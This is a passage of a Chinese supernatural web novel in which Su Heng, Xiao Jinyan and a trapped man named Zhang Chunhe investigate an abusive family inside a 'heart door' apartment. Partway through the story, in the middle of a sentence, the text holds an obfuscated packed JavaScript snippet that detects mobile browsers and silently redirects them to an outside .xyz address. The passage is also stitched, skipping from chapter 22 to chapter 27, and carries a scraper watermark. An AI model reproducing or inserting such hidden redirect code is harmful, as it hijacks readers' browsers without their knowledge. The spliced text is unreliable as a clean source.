花坛边缘的水泥已经有了不少破损的豁口,里面稀疏地种着几棵半死不活的月季,大部分是光秃秃的黄土和枯草。 他的视线在花坛里仔细扫过。 很快,就在一丛枯黄的杂草旁边,发现了一个东西。 一个塑料材质的粉色蝴蝶发卡,静静地躺在那里,颜色在灰扑扑的环境里显得有些突兀。 宿珩走上前,弯腰捡起了那个发卡。 就在他指尖触碰到发卡冰凉塑料的瞬间,眼前熟悉的景象如同被投入石子的水面,猛地扭曲,晃动起来。 和当初被卷入筒子楼的情况一样,周围居民楼的轮廓变得模糊,小区里的嘈杂人声迅速远去,一种阴冷潮湿的气息瞬间包裹了他。 眩晕感只持续了极短的一刹那。 当视线重新清晰时,宿珩发现自己站在一条狭窄、昏暗的楼道里。 两侧的墙壁是那种老式的,只刷了半截绿色油漆的墙围,上半部分是脏污的白墙,上面还残留着小孩子用蜡笔随意涂抹,早已褪色的痕迹。 空气里弥漫着一股灰尘和霉味混合的怪味。 脚下是布满污渍的水泥地面,头顶的白炽灯泡忽明忽暗,发出滋滋的电流声。 在他前方不远处的楼梯转角,肖靳言正懒洋洋地靠着墙壁,双手插在冲锋衣口袋里,冲他扬了扬下巴,算是打过招呼。 而在楼梯拐角更暗一点的地方,还靠坐着另一个人。 一个穿着皱巴巴白衬衫,三十岁左右的男人。 男人看起来疲惫不堪,黑眼圈很重,他把一个半旧的黑色公文包垫在身下,靠着墙角,眼神茫然,无精打采地打量着四周,以及突然出现的宿珩。 看来,不止一个“钥匙”。 宿珩心想。 三个发卡,三个捡到它的人。 一扇全新的“心门”——开启了。 22. 第 22 章 宿珩的目光扫过墙壁上用红漆潦草喷涂的楼层数字。 ——“6”。 他们现在在6楼。 “你……你也是捡了那个发卡进来的?” 靠坐在墙角的男人看到宿珩,像是抓住救命稻草般,挣扎着想要站起来,他的声音沙哑干涩,带着长时间未饮水的粗粝。 宿珩走过去,目光平静地看着他摇摇晃晃站稳,淡淡地“嗯”了声。 确认并未改变他绝望处境的事实,男人脸上挤出一个比哭还难看的笑容,那笑容里混杂着浓重的苦涩与濒临崩溃的绝望。 “我叫张春和……昨天下午,就在小区花坛那儿看见个粉色的发卡,以为是哪个小孩掉的,顺手捡起来想看看能不能找到失主,谁知道……” 他用力抹了把脸,试图振作精神,“谁知道一眨眼就到这鬼地方了!” “我被困在这里快一天了。” 张春和指了指楼道两端,“这层楼就三户人家,但门都锁得死死的,敲门也没人应,里面一点动静都没有。” 他又指了指楼梯。 “楼梯我也走了不下十次了,不管是往上还是往下,最后都会莫名其妙地绕回到这里,就像……就像鬼打墙一样!” “这里根本出不去!我们是不是都要死在这里了?!” 张春和靠着墙,身体微微发抖,越说越激动,显然这一天一夜的经历已经将他的精神逼到了崩溃的边缘。 肖靳言这才从墙边直起身,走到张春和身边,象征性地拍了拍他的肩膀,语气倒是难得温和。 “别太担心,总会有办法出去的。” 宿珩对这番安慰不置可否,他缓步走到楼梯口,视线投向下方。 楼梯盘旋而下,隐没在更深沉的黑暗里,确实没有任何异常。 但他能感觉到,某种无形的负面情绪如同黏稠的蛛网,笼罩着整个6楼,将这里与外界彻底隔绝。 楼梯转角那扇窄小的窗户外,是一片灰蒙蒙的死寂,与之前在筒子楼所见别无二致,透不进一丝光亮,也看不清任何景象。 “你们……你们才刚来……你们根本不懂……等你们像我一样……” 张春和显然没被肖靳言的话安慰到,话没说完,便捂着那张憔悴至极的脸,又缓缓贴着墙坐了下去。 谁知他话音刚落,仿佛是为了印证什么,走廊中间那扇一直紧闭的602房门内,毫无预兆地爆发出激烈的争吵声。 “哐当!” 一声刺耳的金属碰撞声,猛地从中间那扇紧闭的602房门后响起,像是有人用极大的力气把铁锅或者铁盆砸在了地上。 紧接着,一个尖利刻薄、如同砂纸摩擦的老太婆声音,带着浓浓的火气和怨毒,穿透厚重的门板,骤然爆发: “作孽啊……真是作孽!” “当初我就说不该让你进门!” “现在好了吧?生不出儿子,还整天哭哭啼啼,晦气……真是晦气死人!” “我们老李家是倒了八辈子血霉才娶了你这么个丧门星!” 老太婆的咒骂又急又快,中间夹杂着一个男人唯唯诺诺的劝解声:“妈,妈您少说两句……秀珍她……她也不是故意的……” “不是故意的?!我看她就是存心的,成天摆着那张死人脸给谁看?!” “还有那几个赔钱货,就知道哭哭哭!吵死了……跟你那个妈一样,都是讨债鬼!” 伴随着老太婆的辱骂和男人的劝解,还有一阵只剩下麻木抽噎的女人哭泣声,以及几个孩子断断续续的呜咽。 各种声音混杂在一起,充满了尖刻的指责、懦弱的退让、麻木的悲伤和无助的恐惧。 一股浓郁到几乎化为实质的负面情绪,如同污水般从门缝里渗透出来,瞬间充斥了整个楼道。 宿珩清晰地感受到了这股情绪的冲击。 那里面有绝望、怨恨、痛苦、麻木……种种情绪交织,沉甸甸地压在心头,让他眉心几不可察地蹙紧了一瞬。 “有人!里面有人!” 张春和听到这些辱骂声,却像是溺水者终于抓住了浮木,眼睛瞬间亮了起来。 他苍白的脸上涌现出激动的红晕,几乎是立刻就要冲上前去敲门。 “太好了!我们有救了!快让他们开门!” “等等。” 一只骨节分明的手,带着不容置疑的力道,按在了张春和的肩膀上,稳稳地阻止了他前冲的动作。 是肖靳言。 他的表情依旧没什么变化,只是眼神深邃了几分,凝视着那扇传出激烈争吵的602房门。 宿珩也看向肖靳言。 两人目光短暂交汇,无需言语,便已明了。 争吵声的出现,意味着这个“心门”的核心,已经开始运转了。 “为什么不敲门?” 张春和不解地看着肖靳言,又看看宿珩,语气焦急,“里面有人啊!我们得让他们知道外面还有人,让他们帮帮我们……报警也好啊!” 肖靳言收回手,指了指左右两边同样紧闭的601和603。 “别急……” 他言简意赅地解释了句:“先看看这两间,不要打草惊蛇。” 张春和满脑子都是问号,他完全无法理解这种时候为什么还要去管另外两扇毫无动静的门。 不过他并不是那种鲁莽的人,这地方处处透着诡异,而眼前这两个后来者,一个过于镇定,一个虽然话少但眼神锐利,显然都不是一般人。 求生的本能让他强迫自己冷静下来。 虽然依旧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653360|172840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不明白肖靳言的用意,但见他态度坚决,宿珩也没有提出反对,张春和只好死死按捺住心头的焦躁和不安,深吸一口气,跟着两人走到了601的门口。 肖靳言伸手握住601冰冷粗糙的门把手,轻轻一拧。 “咔哒。” 之前张春和怎么也拧不动的门锁,此刻竟轻而易举地应声而开。 肖靳言推开门。 门后并非想象中那种常规的两居室或三居室的住宅,而是一个极其狭小的空间,逼仄得令人窒息,目测大概只有七八个平方米大小。 里面家徒四壁,没有任何家具,甚至连一扇窗户都没有,只在靠墙最里面的角落里,孤零零地摆着一张简陋的床板。 那床板看起来很窄,宽度绝不超过一米,长度也仅仅够一个成年人勉强躺下。 三人又走到603门口,同样轻易地拧开了门锁。 里面的景象与601如出一辙,同样狭窄逼仄的空间,同样在角落里摆放着一张一模一样的单人床板。 “这……这是什么地方?” 张春和看着这两间空荡荡、如同囚室般的小房间,更加茫然了,“这根本不像住人的地方啊……” 宿珩的视线从那张狭窄得过分的床板上扫过,他退后一步,离开603的门口,目光重新落在中间那扇依旧传出隐约争吵和哭泣声的602房门上。 “一左一右,刚好在602两边。” 他看向肖靳言,推测道:“这是要我们扮演602的邻居吗?” 肖靳言摸了摸下巴,似乎觉得这个猜测很有道理。 他转头看向还处在茫然状态的张春和,用下巴点了点601和603。 “挑一间吧,晚上总得有个地方睡觉。” “啊?睡觉?” 张春和彻底懵了,他看看肖靳言,又看看宿珩,再看看那两间小黑屋似的房间,语气因为难以置信而变得结结巴巴。 “可……可这里只有两间房啊,我们有三个人,怎么睡?” 肖靳言脸上的笑意加深了些,带着点不言而喻的意味,他侧头瞥了宿珩一眼,理所当然地回答:“当然是你自己一个人睡一间。” 潜台词再明显不过——他要和宿珩一起睡。 宿珩的目光落在那张宽度仅够一人翻身的单人床板上,想象了一下两个大男人挤在上面的画面。 最终浑身起了一层细密的鸡皮疙瘩。 他面无表情地看向肖靳言,语气平淡,却带着不容置喙的意味: “你晚上自己打地铺。” 肖靳言脸上的笑容僵了一下,随即像是被宿珩这毫不留情的直接给逗乐了。 他抬手摸了摸鼻子,低笑了声,居然一点没生气。 反而透着点……乐在其中? 27-30 第27章 第 27 章 一家几口8(入V)…… 宿珩是被一种近乎本能的警觉惊醒的。 意识回笼的瞬间, 他首先感觉到的是身下并不平整且带着人体温度的触感,以及鼻尖萦绕着的,属于另一个人身上极淡的烟草气息。 他猛地睁开眼。 视线聚焦, 看到的是肖靳言冲锋衣的拉链头,以及对方线条分明的下颌。 宿珩:“……” 大脑宕机了零点几秒,随即轰然反应过来自己此刻的姿势—— 他竟然侧躺着, 脑袋枕在肖靳言的大腿上! 一股热意不受控制地涌上耳根,连带着脖颈都泛起薄红,宿珩几乎是弹射般地从床板上爬了起来, 动作快得甚至带起了一阵微风。 因为起得太猛, 身体还有些发软, 他踉跄了一下才勉强站稳。 宿珩抬手揉了揉还有些发懵的太阳穴,随即偏过头, 带着几分不易察觉的恼意,瞪了旁边好整以暇看着他的肖靳言一眼。 肖靳言依然靠着墙,接收到这枚毫无道理的眼刀,非但没生气, 反而觉得分外有趣。 他慢条斯理地整理了一番被压皱的裤子, 感受着大腿上还未完全消退的温度, 眼底染上了一丝戏谑的笑意。 门口的张春和目睹了这突兀又迅速的全过程, 眼神顿时变得有些微妙。 他看看宿珩泛红的耳根,又看看肖靳言那副样子, 站在原地没敢立刻说话,生怕打扰了这两人之间奇怪的氛围。 “咳。” 还是宿珩先打破了沉默, 他清了清嗓子,试图掩饰刚才的失态,看向门口的张春和, 恢复了一贯的冷淡,“有事吗?” 张春和这才如梦初醒,脸上瞬间又被焦虑和恐惧填满。 “有事!有大事!”他几步跨进房间,也顾不上许多,急声道:“我刚才做了个梦!一个很奇怪,很吓人的梦!” 他语速极快地将梦境内容复述了一遍—— 昏暗的楼道,三个面无表情的女孩围着地上狼狈爬行的小男孩,用一块干硬的面包反复戏弄他,还有最后那句如同魔咒般,冰冷又不断回响的“这是他应得的”。 “那三个女孩,太……太可怕了!” 张春和心有余悸地搓了搓胳膊,仿佛那梦里的阴冷寒意还附着在皮肤上。 “她们那眼神,根本不像小孩子!还有那个小男孩,他到底做了什么,才要受到这种对待?” 肖靳言听完,指尖无意识地在膝盖上点了点,脸上没什么表情,眼神却深了几分,像是在快速分析着什么。 宿珩的眉头却皱得更紧了。 他沉默了几秒,才缓缓开口,声音带着一丝不易察觉的异样:“我也做了个梦。” 张春和与肖靳言同时看向他。 “内容……和你说的差不多,但角色是反过来的。” 宿珩回忆着梦中的景象,语气平铺直叙,“我看到那个小男孩,手里抓着三个粉色的蝴蝶发卡,站在楼道中间。” “三个女孩跪在地上,像小马一样,他让她们爬,不爬就不把发卡还给她们。” 宿珩顿了顿,“他的表情……很凶,带着一种不属于那个年纪的狠戾。” “还有……”他补充了一句,“我在梦里只是一个旁观者,没有像你一样想去阻止。” 两个截然相反的梦境。 一个是被姐姐们欺凌的可怜弟弟,一个是欺负姐姐们的恶劣弟弟。 张春和彻底懵了:“这……这到底哪个才是真的?” 他下意识地联想到饭桌上,三个女孩故意将鱼刺藏进饭里,以及小男孩被卡住喉咙时,从卧室门缝里传出的幸灾乐祸的偷笑声。 “我觉得……我那个梦,可能更接近真相?” 张春和不太确定地说,“毕竟她们确实在欺负那个小男孩,吃饭时,我……也亲眼看见了。” “不一定。”肖靳言屈起手指,轻轻敲了敲身下的床板,打断了张春和的猜测。 他看向宿珩,解释道:“心门里的很多东西,都是主人执念和情绪的扭曲映射,为了达到某种目的而构建的场景。” “我们看到的,听到的,甚至梦到的,都可能是被精心加工过的,不完全是真实的。” “也许是为了掩盖真相,也许是为了加深绝望,也许……只是心门主人混乱记忆的碎片,随机拼凑给我们看。” 肖靳言的目光扫过两人,“所以,这两个梦,有可能都是某种程度的‘真实’,也可能都是误导我们的‘虚假’。” 张春和听得满头雾水。 宿珩却若有所思地点了点头,他赞同肖靳言的分析,对方说的很有道理,不能轻易被表象迷惑。 “看来,只能等晚饭的时候,再故技重施,去602观察一下了。” 宿珩做出了决定。 “可是……” 张春和脸上露出为难的神色,“我……我没现金了。中午那顿已经把我口袋里最后三十块掏干净了。这里手机也没信号,不然还能扫码支付……” 没等他说完,肖靳言像是变戏法似的,从冲锋衣内侧口袋里摸出一个黑色的皮质钱包。 钱包看起来用了有些年头,边角略有磨损,但皮质保养得还不错,透着低调的质感。 他随手打开钱包,里面整整齐齐地夹着一小沓红色的百元大钞,崭新挺括。 “没关系。”肖靳言语气随意,带着点炫耀的意味,“我这儿还有点私房钱,备着应急……” 宿珩瞥了他一眼,压根不信他这套说辞。 什么私房钱,分明是这家伙闯过的心门多了,总结出的经验,知道在这种地方,有时候现金也能发挥出意想不到的效果。 看来下次自己进来,也得提前多准备点现金了,不然兜里只有几枚硬币,怪不好意思的…… 宿珩正暗自想着,肖靳言已经从钱包里抽出一张崭新的一百元,动作自然地递到他面前。 “拿着。”肖靳言下巴微抬,示意了一下,“晚上再去跟那老太婆谈谈,砍砍价,争取用这一百块,把今天的晚饭和明天的早饭也包了,能省则省。” 宿珩:“……” 他有些无语地看着肖靳言那理所当然使唤人的样子,最终还是伸手接过了那张一百块。 虽然觉得被当成砍价工具人了,但目前也只能这样。 有了晚饭的着落,张春和稍微松了口气。 但他一想到自己那个诡异的梦,以及601那间孤零零的小黑屋,就觉得心里发毛,实在不想一个人待着。 看看宿珩和肖靳言,再看看那窄得过分的床板,张春和很识趣地没有提出要挤一挤的请求。 他默默地将自己那个半旧的黑色公文包放在靠墙的地面上,然后一屁股坐了下去,打算就在这里待到晚饭时间,起码人多点,心里踏实些。 他这举动,顿时让刚刚因为宿珩接钱而心情不错的肖靳言,脸色又沉了下来。 好端端的独处机会,就这么被这个不识趣的家伙给搅黄了。 肖靳言的眼神带着明显的不悦,扫向像块木头桩子一样杵在那里的张春和。 张春和感觉到了那道不善的视线,但他脖子一梗,干脆眼观鼻,鼻观心,自觉地假装自己是个瞎子,什么都没看见,什么都没感觉到…… 毕竟安全第一。 至于会不会打扰到别人的“二人世界”,那暂时不在他的考虑范围之内了…… 房间里一时间陷入了某种微妙的寂静。 …… 也不知过了多久,隔壁602再次打破了这份死寂。 “我的毛巾呢?!我晾在门后衣架上的那条新毛巾呢?!” 老太婆尖利刻薄的嗓门猛地爆发出来,穿透厚重的门板和墙壁,清晰地传到了603。 “王秀珍!是不是你又给我弄丢了?你个丧门星!成天魂不守舍的,连条毛巾都看不住!” 紧接着是男人唯唯诺诺的劝解声:“妈,妈您消消气,秀珍她肯定不是故意的,兴许……兴许是风大,给刮到楼下去了?我待会儿下去找找……” “找找找!就知道找!我看就是被哪个手脚不干净的贼给偷了!这破楼里什么人都有!” 老太婆的骂声不依不饶,中间还夹杂着东西被粗鲁翻动的声音,乒乒乓乓。 宿珩睁开眼,并未看向隔壁,视线反而缓缓移动,落在了身边气定神闲的肖靳言身上。 老太婆口中那个“手脚不干净的贼”,接收到他的目光,脸上不仅毫无愧色,反而冲他挑了挑眉。 随后肖靳言极其自然地俯身,将那条已经被床板蹭得灰扑扑的毛巾从床尾捡起来。 他看也没看,随手就团了团,塞进了床板底下最深的阴影里。 动作一气呵成,堪称毁尸灭迹,眼不见为净。 宿珩:“……” 他默默移开视线,决定当做什么都没看见。 肖靳言拍了拍手上的灰,仿佛刚才什么都没发生过,他站起身,伸了个懒腰,冲还愣在地上的张春和招呼道:“走了,到饭点了,去蹭饭。” 张春和如蒙大赦,连忙从地上爬起来,也顾不上拍裤子上的灰,赶紧跟在两人身后。 这次依旧是宿珩上前敲门。 叩叩叩—— 门很快被拉开,还是那个老太婆。 她显然还在为丢失毛巾的事情生气,一张老脸拉得老长,布满褶子的眼皮耷拉着,浑浊的眼睛里满是不耐烦和警惕,像防贼一样盯着他们。 “又干什么?!”她没好气地问。 宿珩面不改色,语气平淡得听不出任何情绪,仿佛在陈述一个再正常不过的事实:“午饭味道不错,我们还想再吃一顿。” 老太婆像是听到了什么天大的笑话,嗤笑一声,双手叉腰:“我看你们想得美!还想再吃?真把我这儿当免费食堂了?脸皮怎么这么厚!” 宿珩没理会她的嘲讽和即将喷薄而出的污言秽语。 他顿了顿,继续用那副波澜不惊的口吻补充:“晚饭,还有明天的早饭……如果可以的话,之后两天也想在您这儿解决。” 老太婆眼睛瞪得溜圆,简直不敢相信自己的耳朵,刚想破口大骂这人是不是脑子有病。 宿珩却在这时,不紧不慢地从口袋里掏出那张崭新挺括的一百元钞票,在老太婆眼前晃了晃。 “不白吃。” 他声音依旧没什么起伏,“这是一百块定金,先试吃三天,早中晚三顿,如果饭菜合胃口,三天后,我们按每天一百五的价格继续订餐。” 老太婆的骂声瞬间卡在了喉咙里。 她的视线死死地黏在那张红色的钞票上,浑浊的眼珠飞快地转动起来,嘴唇无声地嗫嚅着,显然是在心里飞速计算这笔“生意”的利润。 一天一百五……三天……不,先收一百定金……吃三天九顿饭……一个人就是……三个人…… 她脑子里的小算盘打得噼啪作响。 一百块虽然不少,但要包三个人三天的伙食,还得是三顿……听起来有点亏。 不过,看这三个人的穿着打扮,尤其后面那个高高大大的男人,衣服料子都不错,不像缺钱的样子,后面说的一天一百五倒是挺诱人…… 也许可以答应下来?晚上的菜稍微加点量? 也不能太好,不然他们吃惯了好的,后面不好糊弄…… 站在宿珩身后的肖靳言,看着宿珩面不改色地用一百块预定了未来三天的伙食,还画了个“一天一百五”的大饼,嘴角几不可察地抽了抽。 这家伙,砍价的本事真是……别具一格。 用一百块锁定三天的观察机会,还把主动权牢牢握在手里。 说不定没到三天,这个“心门”的真相就已经水落石出了。 到时候拍拍屁股走人,那老太婆估计得气得跳脚骂三天…… 想到那场景,肖靳言竟觉得有点期待。 老太婆显然被“一天一百五”的远景冲昏了头脑,再加上眼前实实在在的一百块诱惑,脸上的怒气和怀疑迅速被贪婪取代。 “咳……行吧!” 她清了清嗓子,努力摆出一副勉为其难的样子。 她一把将宿珩手里的一百块夺了过去,仔细地对着头顶昏暗的灯泡看了看,又用粗糙的手指捻了捻,确认是真钞后,才宝贝似的塞进了自己裤兜最深处。 “看你们确实是诚心想吃,那就……先进来吧!” 她侧身让开位置,态度比中午时好了不少,至少没再横眉竖眼。 三人再次踏入602。 屋内的景象和中午差不多,依旧是那股挥之不去的压抑和陈腐气息。 王秀珍依旧像个幽魂般在狭小的厨房里忙碌,背影僵硬麻木,仿佛不知疲倦。 男人则坐在桌边,拿着根短小的铅笔,正对着三个女儿摊开的作业本指指点点,语气是难得的温和,但三个女孩依旧是那副低眉顺眼、怯生生的模样。 看到宿珩他们进来,男人和三个女孩都下意识地瑟缩了一下,脸上露出些许不安和怯弱。 老太婆大概是刚收了钱,心情好了不少,难得没有立刻对家人发难。 她瞥了一眼站在门口的三人,颐指气使地对着桌边年纪最大的女孩吩咐:“大妮!去给邻居倒三杯水来,没看客人都站着吗?” 大妮像是被吓了一跳,身体猛地一颤,慌忙放下手里的笔。 她低着头应了一声,赶紧从墙角一个积满灰尘的纸箱里翻出三个一次性的塑料杯,转身跑向厨房。 厨房很窄,她侧身挤过正在切菜的王秀珍,拿起放在灶台上那个老式的铝制热水壶。 或许是水壶太重,或许是她心里慌乱,大妮的手一抖,满满一壶滚烫的开水没拿稳,壶嘴一歪,一股白色的水汽蒸腾而起。 伴随着“哗啦”一声,滚烫的开水直接浇在了旁边王秀珍光着的脚背上! 王秀珍的身体猛地颤抖了一下,脚背以肉眼可见的速度迅速变红、肿胀。 但诡异的是,她脸上依旧是那副麻木空洞的表情,仿佛被烫到的不是自己的脚,而是别人的。 她甚至连一丝痛苦的呻/吟都没有发出,只是默默地将受伤的脚往后缩了缩,然后继续低头切着砧板上蔫黄的白菜。 而闯了祸的大妮,也像是完全没看见自己把开水洒在了母亲脚上一样。 她的脸上没有任何惊慌或者愧疚的表情,甚至连眼神都没有一丝波动。 她只是手忙脚乱地将歪倒的热水壶扶正,然后小心翼翼地给三个一次性杯子倒满水,仿佛刚才那滚烫的水流和母亲无声的痛苦,都只是无关紧要的背景板。 这一切发生得极快,快到客厅里的老太婆和男人似乎都没注意到厨房里的这点小动静。 或者说,他们早已对这种情景司空见惯,根本不值得大惊小怪。 大妮端着三杯冒着腾腾热气的水,依旧低着头,快步走了出来。 她动作有些僵硬地,依次将水杯放在宿珩、肖靳言和张春和面前的桌子上。 放下最后一个水杯后,她没有立刻离开。 而是抬起眼皮,用一种难以形容的、带着点古怪意味的眼神,飞快地瞥了张春和一眼。 那眼神一闪而逝,却像带着钩子,让张春和的心猛地一沉。 张春和瞬间想起了自己做的那个噩梦。 梦里那三个女孩冰冷诡异,毫无生气的眼神,还有那句不断重复的话…… 他只觉得一股寒气从脚底直冲头顶,后背的汗毛都竖了起来,端着水杯的手都开始微微发抖。 他差点没拿稳,险些烫到自己。 这女孩刚才的眼神……简直和梦里一模一样,太瘆人了! 张春和下意识地看向另外两人…… 但他俩像是什么都没看到一样,自顾自地吹着热气,慢慢喝了一口。 很快,晚饭被端上了桌。 或许是因为收了一百块“定金”的缘故,晚饭的菜色比中午看起来稍微丰盛了一点。 除了米饭,还有一盘用白菜一起炒出来的黑乎乎的炒肉,散发着一股难以形容的腥臊气味,完全分辨不出到底是什么肉。 旁边还有一碟颜色暗沉的炒蘑菇,看起来蔫蔫的,以及一大盆依旧油腻的汤,汤色浑浊,表面漂浮着厚厚的油花,隐约能看到几块煮得发烂的不明肉块沉浮其中。 老太婆满意地看着桌上的菜,显然觉得这已经是对得起那一百块定金的优待了。 她朝着桌旁站着的王秀珍使了个眼色。 王秀珍像个接收到指令的木偶,动作略显僵硬地拿起汤勺,默默地走到桌边,依次给宿珩、肖靳言和张春和三人面前的空碗里,各自盛了一碗飘着油花和不明肉块的热汤。 汤色浑浊,热气腾腾,那股混杂着肉腥和某种不知名调料的古怪气味,随着热气飘散开来,更加浓郁了。 老太婆双手抱胸,站在一旁,目光炯炯地看着他们三个,嘴角带着一丝不易察觉的得意,那意思再明显不过—— 尝尝吧,看看我家的饭菜值不值这个价! …… 宿珩只看了一眼,便面不改色地将面前那碗气味古怪的汤,轻轻推开些许距离。 “不好意思。” 他语气平淡,听不出喜恶,“我的饮食习惯是饭后再喝汤,这样有助于消化。” 老太婆那双浑浊的眼睛立刻扫了过来,脸上明晃晃写着不信,还有点被人驳了面子的不快。 她刚要张嘴。 旁边的肖靳言已经懒洋洋地开了口,动作随意地也将自己的汤碗推到一边。 “是吗,巧了。”他甚至还煞有介事地点点头,“饭后一碗汤,赛过活神仙,我也喜欢饭后喝汤。” 张春和看看宿珩,又看看肖靳言,再看看自己碗里那碗令人毫无食欲的汤,求生欲极强地连忙跟着把碗推开。 “对对对!我也是这个习惯,饭后喝,饭后喝……” 老太婆:“……” 她没好气地瞪了这三人一眼,心里骂了句“穷讲究”,但看在那还没捂热的一百块钱份上,终究没再说什么。 她拿起筷子,在桌上磕了一下,也不招呼,自顾自埋头吃了起来。 旁边的男人更是早已迫不及待,看到老太婆动了筷子,立即不甘落后地扒拉起来,筷子使得虎虎生风,呼噜呼噜的扒饭声和喝汤声顿时响彻狭小的客厅,吃相与老太婆别无二致。 宿珩只挑了些看起来还算正常的炒蘑菇,就着白米饭,吃得缓慢而沉默。 那盘黑乎乎、散发着腥臊味的炒肉,他更是连看都没看。 肖靳言更是连米饭都没吃,似乎一点也不饿,张春和倒是学着他的样子,同样只吃了一点蘑菇。 饭桌上,老太婆和男人吃得正香,见这三个外人吃得如此“斯文”,尤其是对那碗“好汤”和炒肉敬而远之,心里反倒有几分窃喜。 正好,他们不吃,自家就能多吃点。 宿珩的视线不经意间落在一旁垂手站立,如同背景板般伺候着的王秀珍身上。 她的身形单薄,面色依旧麻木,仿佛周遭的一切都与她无关。 “这边还有空位,一起坐下吃吧。” 宿珩的声音不大,却清晰地传入了屋内每个人的耳中。 王秀珍像是没听见,身体纹丝不动,连眼皮都没抬一下,继续维持着那个卑微的姿势。 “吃什么吃?!” 老太婆嘴里塞满了饭菜,含糊不清地呵斥道,“她哪有资格上桌?!” 她脖子一梗,以一种近乎撑破喉管的夸张姿势,咕噜一声强行咽下嘴里的东西,语气带着一种根深蒂固的刻薄与理所当然。 “这是我们老李家的规矩……伺候的人,就得等桌上的人都吃完了,才能吃剩下的!” “我当年嫁过来的时候,就是这么过来的!一代传一代!” 男人正端起碗大口喝着肉汤,闻言立刻含糊不清地点头附和。 “嗯嗯……妈说得对……家里规矩就是这样……” 油腻的汤汁顺着他的嘴角流下来,他毫不在意地用袖子一抹。 宿珩看着这理所当然的陋习,以及男人那副窝囊样子,心里泛起一阵说不出的不适。 他不再看那对母子,目光重新落回到王秀珍身上,准确地说,是落在了她那只被开水烫过后,明显红肿起来的脚背上。 “你这脚……” 宿珩问:“不处理一下吗?看着烫得不轻。” 这话似乎终于触动了什么开关。 一直如同木偶般的王秀珍,身体几不可察地颤动了一下,空洞的眼神里,似乎闪过了一丝极其微弱的波澜。 她极其缓慢地摇了摇头,嘴唇翕动了几下,发出一种如同砂纸摩擦般干哑的声音: “……没事。” 这是她第一次开口说话。 仿佛多年未曾开过口,声音嘶哑难听,却真实地传入了众人耳中。 宿珩捕捉到了她情绪的细微波动,目光在她脸上多停留了一瞬。 “哎呀,一点小伤,皮糙肉厚的,过两天自己就好了,有什么可处理的?” 老太婆却满不在乎地摆摆手,语气轻飘飘的,显然觉得这根本不值一提。 男人附和:“是啊是啊……没什么大不了的。” 宿珩没理会这两人,继续问王秀珍:“冰箱里有冰块吗?敷一下会好点。” “没有!” 老太婆立刻抢着回答,声音尖利,生怕他们要动用她家冰箱里宝贵的电和东西。 但她话音刚落。 一直安静坐在桌边,几乎没什么存在感的小女儿三娣,却怯生生地抬起头,用细若蚊蝇的声音说了一句。 “……有。” 老太婆立刻瞪了三娣一眼,三娣吓得缩了缩脖子,但没有收回刚才的话。 宿珩看向三娣。 他从衣兜里备着用来坐公交的几枚硬币中,挑出一枚递到她面前。 “去拿些冰块,用袋子装好,给你妈妈敷脚。” 看到亮晶晶的硬币,三娣那双原本黯淡的眼睛瞬间亮了起来。 老太婆立马不说话了,眼神直勾勾地盯着那枚硬币。 三娣脸上露出了毫不掩饰的喜悦,小心翼翼地接过硬币,紧紧攥在手心里,生怕它飞了,然后动作麻利地从椅子上跳下来,哒哒哒跑到厨房。 拉开那台嗡嗡作响的老旧冰箱的冷冻层门,费力地从结满厚霜的抽屉壁上砸下几块冰块,捡起来用一个看起来不太干净的塑料袋包好。 她捧着冰袋跑回来,递到王秀珍面前。 王秀珍看着女儿递过来的冰袋,又看了看女儿脸上那因为得到硬币而显得格外开心的笑容,眼神似乎更加恍惚了。 她愣了好一会儿,才缓缓伸出那只粗糙的手,接过了冰袋。 随后默默地转身,走到客厅角落一个不碍事的地方,佝偻着背蹲下身,将冰袋轻轻敷在了自己红肿的脚背上,依旧是一言不发,只是肩膀似乎微微耸动了一下。 这顿晚饭依旧在压抑而快速的吞咽声中进行。 没过多久,老太婆和男人就再次风卷残云般吃完了自己碗里的饭菜。 两人放下碗,又习惯性地伸出舌头,将碗底和盘子里残余的汤汁舔舐干净。 老太婆的目光依依不舍地扫过宿珩他们三人碗里几乎没动过的那碗汤,脸上写满了肉疼和惋惜,仿佛那是绝世美味被人浪费了。 “我吃饱了。” 老太婆站起身,打了个饱嗝,揉了揉肚子。 “我回屋歇着了。” 她又瞪了角落里敷脚的王秀珍一眼,没再说什么,径直走进了自己的房间,“砰”地一声关上了门。 男人也放下碗筷,用餐巾纸胡乱擦了擦油光锃亮的嘴,对着宿珩他们挤出一个略显尴尬和讨好的笑容。 “那个……我也吃饱了,下楼溜达溜达,消消食。” 说完,他也推开门,走了出去,楼道里传来他下楼的脚步声,似乎楼梯的规则对他并不奏效。 客厅里,再次只剩下宿珩三人,以及还在桌边慢吞吞吃饭的三个女孩,还有角落里的王秀珍。 三个女孩似乎并不饿,依旧小口小口地扒拉着米饭。 等到桌上的大人都离开后,她们紧绷的肩膀才稍微放松了些,彼此交换了一个眼神。 她们又开始故技重施,将嘴里吐出的细小骨头和嚼不烂的菜梗,悄悄用筷子拨弄着,埋进各自碗里剩下的米饭中。 就在这时,年纪最大的大妮忽然停下了筷子。 她抬起头,不再是先前那副怯生生的模样,眼神里带着一种试探性的狡黠。 她看着宿珩,手指紧张地抠着碗边,扭扭捏捏地开口:“大哥哥……” 宿珩看向她。 “你……你要是再给我们一人一枚硬币……” 大妮的声音压得很低,带着一丝神秘兮兮的味道,“我就告诉你一个……秘密。” 秘密? 这俩字像石子投进平静的水面,让气氛瞬间变得有些微妙。 张春和闻言,下意识地挺直了背脊,耳朵也竖了起来,脸上森*晚*整*理写满了紧张。 肖靳言慢悠悠放下筷子,饶有兴致地看着三个女孩。 宿珩没什么表情,只是目光在三个女孩脸上扫过。 他再次从口袋里摸出两枚硬币,动作干脆地放到桌上,指尖轻轻一推,将硬币分别滑到大妮和旁边一直没说话,只是用同样眼神看着他的二妞面前。 大妮和二妞的眼睛同时亮了起来,像是饿狼看到了肉。 她们几乎是立刻伸手将硬币抢了过去,宝贝似的捧在手心里,脸上露出了满足又雀跃的笑容。 拿到硬币后,大妮脸上的笑容却忽然慢慢收敛了。 